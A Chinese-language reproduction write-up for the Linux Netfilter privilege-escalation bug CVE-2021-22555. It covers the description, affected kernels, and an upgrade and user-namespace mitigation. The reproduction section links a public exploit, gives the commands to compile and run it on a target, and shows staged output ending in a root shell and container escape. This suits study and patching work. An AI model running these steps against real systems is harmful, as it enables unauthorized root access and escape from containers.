CVE漏洞复现-CVE-2021-22555 Linux Netfilter 权限提升漏洞

CVE-2021-22555 Linux Netfilter 权限提升漏洞

漏洞描述

近日，互联网公开了Linux Netfilter权限提升漏洞的POC及EXP，相关CVE编号：CVE-2021-22555。该漏洞在kCTF中被用于攻击kubernetes pod容器实现虚拟化逃逸，该漏洞已在Linux内核代码中存在15年，Netfilter是Linux 2.4.x引入的一个子系统，它作为一个通用的、抽象的框架，提供一整套的hook函数的管理机制，使得诸如数据包过滤、网络地址转换(NAT)和基于协议类型的连接跟踪成为了可能。Linux Netfilter模块在实现IPT_SO_SET_REPLACE（或IP6T_SO_SET_REPLACE）setsockopt时存在堆越界写入漏洞，本地攻击者通过该漏洞实现权限提升。

漏洞危害

攻击者可以通过利用此漏洞进行本地权限提升与容器逃逸

漏洞影响

一个影响2006年（Linux kernel v2.6.19-rc1 发布）至今（Linux kernel v5.12-rc8）的所有Linux内核版本的漏洞，可导致本地提权与容器逃逸

漏洞复现

EXP下载地址：https://github.com/google/security-research/tree/master/pocs/linux/cve-2021-22555

上传EXP到目标机器上，执行以下命令进行编译并进行提权

gcc -m32 -static -o exploit exploit.c
./exploit

theflow@theflow:~$ gcc -m32 -static -o exploit exploit.c
theflow@theflow:~$ ./exploit
[+] Linux Privilege Escalation by theflow@ - 2021

[+] STAGE 0: Initialization
[*] Setting up namespace sandbox...
[*] Initializing sockets and message queues...

[+] STAGE 1: Memory corruption
[*] Spraying primary messages...
[*] Spraying secondary messages...
[*] Creating holes in primary messages...
[*] Triggering out-of-bounds write...
[*] Searching for corrupted primary message...
[+] fake_idx: ffc
[+] real_idx: fc4

[+] STAGE 2: SMAP bypass
[*] Freeing real secondary message...
[*] Spraying fake secondary messages...
[*] Leaking adjacent secondary message...
[+] kheap_addr: ffff91a49cb7f000
[*] Freeing fake secondary messages...
[*] Spraying fake secondary messages...
[*] Leaking primary message...
[+] kheap_addr: ffff91a49c7a0000

[+] STAGE 3: KASLR bypass
[*] Freeing fake secondary messages...
[*] Spraying fake secondary messages...
[*] Freeing sk_buff data buffer...
[*] Spraying pipe_buffer objects...
[*] Leaking and freeing pipe_buffer object...
[+] anon_pipe_buf_ops: ffffffffa1e78380
[+] kbase_addr: ffffffffa0e00000

[+] STAGE 4: Kernel code execution
[*] Spraying fake pipe_buffer objects...
[*] Releasing pipe_buffer objects...
[*] Checking for root...
[+] Root privileges gained.

[+] STAGE 5: Post-exploitation
[*] Escaping container...
[*] Cleaning up...
[*] Popping root shell...
root@theflow:/# id
uid=0(root) gid=0(root) groups=0(root)
root@theflow:/#

漏洞修复

1、漏洞修复建议
建议受影响的用户及时升级 Linux 内核到安全版本

2、临时缓解措施：
根据RedHat建议，用户可通过以下命令禁止非特权用户执行CLONE_NEWUSER、CLONE_NEWNET来缓解该漏洞带来的影响：

echo 0 > /proc/sys/user/max_user_namespaces